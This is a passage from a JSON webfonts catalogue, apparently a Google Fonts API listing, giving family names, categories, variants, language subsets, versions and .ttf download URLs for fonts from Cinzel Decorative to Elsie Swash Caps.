  },
  {
   "kind": "webfonts#webfont",
   "family": "Cinzel Decorative",
   "category": "display",
   "variants": [
    "regular",
    "700",
    "900"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cinzeldecorative/v4/fmgK7oaJJIXAkhd9798yQgT5USbJx2F82lQbogPy2bY.ttf",
    "700": "http://fonts.gstatic.com/s/cinzeldecorative/v4/pXhIVnhFtL_B9Vb1wq2F95-YYVDmZkJErg0zgx9XuZI.ttf",
    "900": "http://fonts.gstatic.com/s/cinzeldecorative/v4/pXhIVnhFtL_B9Vb1wq2F97Khqbv0zQZa0g-9HOXAalU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Clicker Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/clickerscript/v4/Zupmk8XwADjufGxWB9KThBnpV0hQCek3EmWnCPrvGRM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Coda",
   "category": "display",
   "variants": [
    "regular",
    "800"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v10",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/coda/v10/yHDvulhg-P-p2KRgRrnUYw.ttf",
    "800": "http://fonts.gstatic.com/s/coda/v10/6ZIw0sbALY0KTMWllZB3hQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Coda Caption",
   "category": "sans-serif",
   "variants": [
    "800"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "800": "http://fonts.gstatic.com/s/codacaption/v8/YDl6urZh-DUFhiMBTgAnz_qsay_1ZmRGmC8pVRdIfAg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Codystar",
   "category": "display",
   "variants": [
    "300",
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/codystar/v4/EVaUzfJkcb8Zqx9kzQLXqqCWcynf_cDxXwCLxiixG1c.ttf",
    "regular": "http://fonts.gstatic.com/s/codystar/v4/EN-CPFKYowSI7SuR7-0cZA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Combo",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/combo/v5/Nab98KjR3JZSSPGtzLyXNw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Comfortaa",
   "category": "display",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/comfortaa/v7/r_tUZNl0G8xCoOmp_JkSCi3USBnSvpkopQaUR-2r7iU.ttf",
    "regular": "http://fonts.gstatic.com/s/comfortaa/v7/lZx6C1VViPgSOhCBUP7hXA.ttf",
    "700": "http://fonts.gstatic.com/s/comfortaa/v7/fND5XPYKrF2tQDwwfWZJIy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Coming Soon",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/comingsoon/v6/Yz2z3IAe2HSQAOWsSG8COKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Concert One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/concertone/v7/N5IWCIGhUNdPZn_efTxKN6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Condiment",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/condiment/v4/CstmdiPpgFSV0FUNL5LrJA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Content",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/content/v8/l8qaLjygvOkDEU2G6-cjfQ.ttf",
    "700": "http://fonts.gstatic.com/s/content/v8/7PivP8Zvs2qn6F6aNbSQe_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Contrail One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/contrailone/v6/b41KxjgiyqX-hkggANDU6C3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Convergence",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/convergence/v5/eykrGz1NN_YpQmkAZjW-qKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cookie",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cookie/v7/HxeUC62y_YdDbiFlze357A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Copse",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/copse/v6/wikLrtPGjZDvZ5w2i5HLWg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Corben",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/corben/v8/tTysMZkt-j8Y5yhkgsoajQ.ttf",
    "700": "http://fonts.gstatic.com/s/corben/v8/lirJaFSQWdGQuV--fksg5g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Courgette",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/courgette/v4/2YO0EYtyE9HUPLZprahpZA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cousine",
   "category": "monospace",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cousine/v9/GYX4bPXObJNJo63QJEUnLg.ttf",
    "italic": "http://fonts.gstatic.com/s/cousine/v9/1WtIuajLoo8vjVwsrZ3eOg.ttf",
    "700": "http://fonts.gstatic.com/s/cousine/v9/FXEOnNUcCzhdtoBxiq-lovesZW2xOQ-xsNqO47m55DA.ttf",
    "700italic": "http://fonts.gstatic.com/s/cousine/v9/y_AZ5Sz-FwL1lux2xLSTZS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Coustard",
   "category": "serif",
   "variants": [
    "regular",
    "900"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/coustard/v6/iO2Rs5PmqAEAXoU3SkMVBg.ttf",
    "900": "http://fonts.gstatic.com/s/coustard/v6/W02OCWO6OfMUHz6aVyegQ6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Covered By Your Grace",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/coveredbyyourgrace/v6/6ozZp4BPlrbDRWPe3EBGA6CVUMdvnk-GcAiZQrX9Gek.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Crafty Girls",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/craftygirls/v5/0Sv8UWFFdhQmesHL32H8oy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Creepster",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/creepster/v5/0vdr5kWJ6aJlOg5JvxnXzQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Crete Round",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/creteround/v5/B8EwN421qqOCCT8vOH4wJ6CWcynf_cDxXwCLxiixG1c.ttf",
    "italic": "http://fonts.gstatic.com/s/creteround/v5/5xAt7XK2vkUdjhGtt98unUeOrDcLawS7-ssYqLr2Xp4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Crimson Text",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "600",
    "600italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/crimsontext/v6/3IFMwfRa07i-auYR-B-zNS3USBnSvpkopQaUR-2r7iU.ttf",
    "italic": "http://fonts.gstatic.com/s/crimsontext/v6/a5QZnvmn5amyNI-t2BMkWPMZXuCXbOrAvx5R0IT5Oyo.ttf",
    "600": "http://fonts.gstatic.com/s/crimsontext/v6/rEy5tGc5HdXy56Xvd4f3I2v8CylhIUtwUiYO7Z2wXbE.ttf",
    "600italic": "http://fonts.gstatic.com/s/crimsontext/v6/4j4TR-EfnvCt43InYpUNDIR-5-urNOGAobhAyctHvW8.ttf",
    "700": "http://fonts.gstatic.com/s/crimsontext/v6/rEy5tGc5HdXy56Xvd4f3I0D2ttfZwueP-QU272T9-k4.ttf",
    "700italic": "http://fonts.gstatic.com/s/crimsontext/v6/4j4TR-EfnvCt43InYpUNDPAs9-1nE9qOqhChW0m4nDE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Croissant One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/croissantone/v4/mPjsOObnC77fp1cvZlOfIYjjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Crushed",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/crushed/v6/aHwSejs3Kt0Lg95u7j32jA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cuprum",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cuprum/v7/JgXs0F_UiaEdAS74msmFNg.ttf",
    "italic": "http://fonts.gstatic.com/s/cuprum/v7/cLEz0KV6OxInnktSzpk58g.ttf",
    "700": "http://fonts.gstatic.com/s/cuprum/v7/6tl3_FkDeXSD72oEHuJh4w.ttf",
    "700italic": "http://fonts.gstatic.com/s/cuprum/v7/bnkXaBfoYvaJ75axRPSwVKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cutive",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cutive/v7/G2bW-ImyOCwKxBkLyz39YQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cutive Mono",
   "category": "monospace",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cutivemono/v4/ncWQtFVKcSs8OW798v30k6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Damion",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/damion/v6/13XtECwKxhD_VrOqXL4SiA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dancing Script",
   "category": "handwriting",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/dancingscript/v6/DK0eTGXiZjN6yA8zAEyM2RnpV0hQCek3EmWnCPrvGRM.ttf",
    "700": "http://fonts.gstatic.com/s/dancingscript/v6/KGBfwabt0ZRLA5W1ywjowb_dAmXiKjTPGCuO6G2MbfA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dangrek",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/dangrek/v8/LOaFhBT-EHNxZjV8DAW_ew.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dawning of a New Day",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/dawningofanewday/v7/JiDsRhiKZt8uz3NJ5xA06gXLnohmOYWQZqo_sW8GLTk.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Days One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/daysone/v6/kzwZjNhc1iabMsrc_hKBIA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Delius",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/delius/v6/TQA163qafki2-gV-B6F_ag.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Delius Swash Caps",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/deliusswashcaps/v8/uXyrEUnoWApxIOICunRq7yIrxb5zDVgU2N3VzXm7zq4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Delius Unicase",
   "category": "handwriting",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/deliusunicase/v9/b2sKujV3Q48RV2PQ0k1vqu6rPKfVZo7L2bERcf0BDns.ttf",
    "700": "http://fonts.gstatic.com/s/deliusunicase/v9/7FTMTITcb4dxUp99FAdTqNy5weKXdcrx-wE0cgECMq8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Della Respira",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/dellarespira/v4/F4E6Lo_IZ6L9AJCcbqtDVeDcg5akpSnIcsPhLOFv7l8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Denk One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/denkone/v4/TdXOeA4eA_hEx4W8Sh9wPw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Devonshire",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/devonshire/v5/I3ct_2t12SYizP8ZC-KFi_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dhurjati",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "telugu"
   ],
   "version": "v4",
   "lastModified": "2014-12-10",
   "files": {
    "regular": "http://fonts.gstatic.com/s/dhurjati/v4/uV6jO5e2iFMbGB0z79Cy5g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Didact Gothic",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "greek-ext",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/didactgothic/v7/v8_72sD3DYMKyM0dn3LtWotBLojGU5Qdl8-5NL4v70w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Diplomata",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/diplomata/v6/u-ByBiKgN6rTMA36H3kcKg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Diplomata SC",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/diplomatasc/v5/JdVwAwfE1a_pahXjk5qpNi3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Domine",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/domine/v4/wfVIgamVFjMNQAEWurCiHA.ttf",
    "700": "http://fonts.gstatic.com/s/domine/v4/phBcG1ZbQFxUIt18hPVxnw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Donegal One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/donegalone/v4/6kN4-fDxz7T9s5U61HwfF6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Doppio One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/doppioone/v4/WHZ3HJQotpk_4aSMNBo_t_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dorsa",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/dorsa/v7/wCc3cUe6XrmG2LQE6GlIrw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dosis",
   "category": "sans-serif",
   "variants": [
    "200",
    "300",
    "regular",
    "500",
    "600",
    "700",
    "800"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "200": "http://fonts.gstatic.com/s/dosis/v4/ztftab0r6hcd7AeurUGrSQ.ttf",
    "300": "http://fonts.gstatic.com/s/dosis/v4/awIB6L0h5mb0plIKorXmuA.ttf",
    "regular": "http://fonts.gstatic.com/s/dosis/v4/rJRlixu-w0JZ1MyhJpao_Q.ttf",
    "500": "http://fonts.gstatic.com/s/dosis/v4/ruEXDOFMxDPGnjCBKRqdAQ.ttf",
    "600": "http://fonts.gstatic.com/s/dosis/v4/KNAswRNwm3tfONddYyidxg.ttf",
    "700": "http://fonts.gstatic.com/s/dosis/v4/AEEAj0ONidK8NQQMBBlSig.ttf",
    "800": "http://fonts.gstatic.com/s/dosis/v4/nlrKd8E69vvUU39XGsvR7Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dr Sugiyama",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/drsugiyama/v5/S5Yx3MIckgoyHhhS4C9Tv6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Droid Sans",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/droidsans/v6/rS9BT6-asrfjpkcV3DXf__esZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/droidsans/v6/EFpQQyG9GqCrobXxL-KRMQJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Droid Sans Mono",
   "category": "monospace",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/droidsansmono/v7/ns-m2xQYezAtqh7ai59hJcwD6PD0c3_abh9zHKQtbGU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Droid Serif",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/droidserif/v6/DgAtPy6rIVa2Zx3Xh9KaNaCWcynf_cDxXwCLxiixG1c.ttf",
    "italic": "http://fonts.gstatic.com/s/droidserif/v6/cj2hUnSRBhwmSPr9kS5890eOrDcLawS7-ssYqLr2Xp4.ttf",
    "700": "http://fonts.gstatic.com/s/droidserif/v6/QQt14e8dY39u-eYBZmppwXe1Pd76Vl7zRpE7NLJQ7XU.ttf",
    "700italic": "http://fonts.gstatic.com/s/droidserif/v6/c92rD_x0V1LslSFt3-QEps_zJjSACmk0BRPxQqhnNLU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Duru Sans",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/durusans/v8/R1xHvAOARPh8_so9_UKw1w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Dynalight",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/dynalight/v5/-CWsIe8OUDWTIHjSAh41kA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "EB Garamond",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "vietnamese",
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ebgaramond/v7/CDR0kuiFK7I1OZ2hSdR7G6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Eagle Lake",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/eaglelake/v4/ZKlYin7caemhx9eSg6RvPfesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Eater",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/eater/v5/gm6f3OmYEdbs3lPQtUfBkA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Economica",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/economica/v4/G4rJRujzZbq9Nxngu9l3hg.ttf",
    "italic": "http://fonts.gstatic.com/s/economica/v4/p5O9AVeUqx_n35xQRinNYaCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/economica/v4/UK4l2VEpwjv3gdcwbwXE9C3USBnSvpkopQaUR-2r7iU.ttf",
    "700italic": "http://fonts.gstatic.com/s/economica/v4/ac5dlUsedQ03RqGOeay-3Xe1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ek Mukta",
   "category": "sans-serif",
   "variants": [
    "200",
    "300",
    "regular",
    "500",
    "600",
    "700",
    "800"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "200": "http://fonts.gstatic.com/s/ekmukta/v7/crtkNHh5JcM3VJKG0E-B36CWcynf_cDxXwCLxiixG1c.ttf",
    "300": "http://fonts.gstatic.com/s/ekmukta/v7/mpaAv7CIyk0VnZlqSneVxKCWcynf_cDxXwCLxiixG1c.ttf",
    "regular": "http://fonts.gstatic.com/s/ekmukta/v7/aFcjXdC5jyJ1p8w54wIIrg.ttf",
    "500": "http://fonts.gstatic.com/s/ekmukta/v7/PZ1y2MstFczWvBlFSgzMyaCWcynf_cDxXwCLxiixG1c.ttf",
    "600": "http://fonts.gstatic.com/s/ekmukta/v7/Z5Mfzeu6M3emakcJO2QeTqCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/ekmukta/v7/4ugcOGR28Jn-oBIn0-qLYaCWcynf_cDxXwCLxiixG1c.ttf",
    "800": "http://fonts.gstatic.com/s/ekmukta/v7/O68TH5OjEhVmn9_gIrcfS6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Electrolize",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/electrolize/v5/yFVu5iokC-nt4B1Cyfxb9aCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Elsie",
   "category": "display",
   "variants": [
    "regular",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/elsie/v5/gwspePauE45BJu6Ok1QrfQ.ttf",
    "900": "http://fonts.gstatic.com/s/elsie/v5/1t-9f0N2NFYwAgN7oaISqg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Elsie Swash Caps",
   "category": "display",
   "variants": [
    "regular",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
